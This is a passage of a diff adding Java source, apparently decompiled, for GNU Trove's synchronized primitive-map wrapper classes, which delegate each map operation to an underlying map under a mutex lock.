+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(double key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(double key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleIntMap
+    implements TDoubleIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleIntMap(TDoubleIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleIntMap(TDoubleIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(double key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(double key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(double key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleLongMap
+    implements TDoubleLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleLongMap(TDoubleLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleLongMap(TDoubleLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(double key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(double key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(double key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleByteMap
+    implements gnu.trove.map.TDoubleByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TDoubleByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleByteMap(gnu.trove.map.TDoubleByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleByteMap(gnu.trove.map.TDoubleByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(double key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TDoubleByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(double key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(double key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleShortMap
+    implements TDoubleShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleShortMap(TDoubleShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleShortMap(TDoubleShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(double key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(double key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(double key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedDoubleCharMap
+    implements TDoubleCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TDoubleCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedDoubleCharMap(TDoubleCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleCharMap(TDoubleCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(double key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(double key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(double key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(double key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Double, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TDoubleCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TDoubleSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TDoubleSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedDoubleSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public double[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public double[] keys(double[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public double getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(double key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TDoubleCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TDoubleCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(double key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(double key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(double key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatDoubleMap
+    implements TFloatDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatDoubleMap(TFloatDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatDoubleMap(TFloatDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(float key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(float key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(float key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatFloatMap
+    implements TFloatFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TFloatFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatFloatMap(TFloatFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatFloatMap(TFloatFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(float key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TFloatFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TFloatSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TFloatSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedFloatSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public float[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public float[] keys(float[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public float getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(float key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TFloatFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TFloatFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(float key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(float key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(float key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatIntMap
+    implements gnu.trove.map.TFloatIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TFloatIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedFloatIntMap(gnu.trove.map.TFloatIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatIntMap(gnu.trove.map.TFloatIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(float key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(float key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(float key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(float key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Float, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TFloatIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
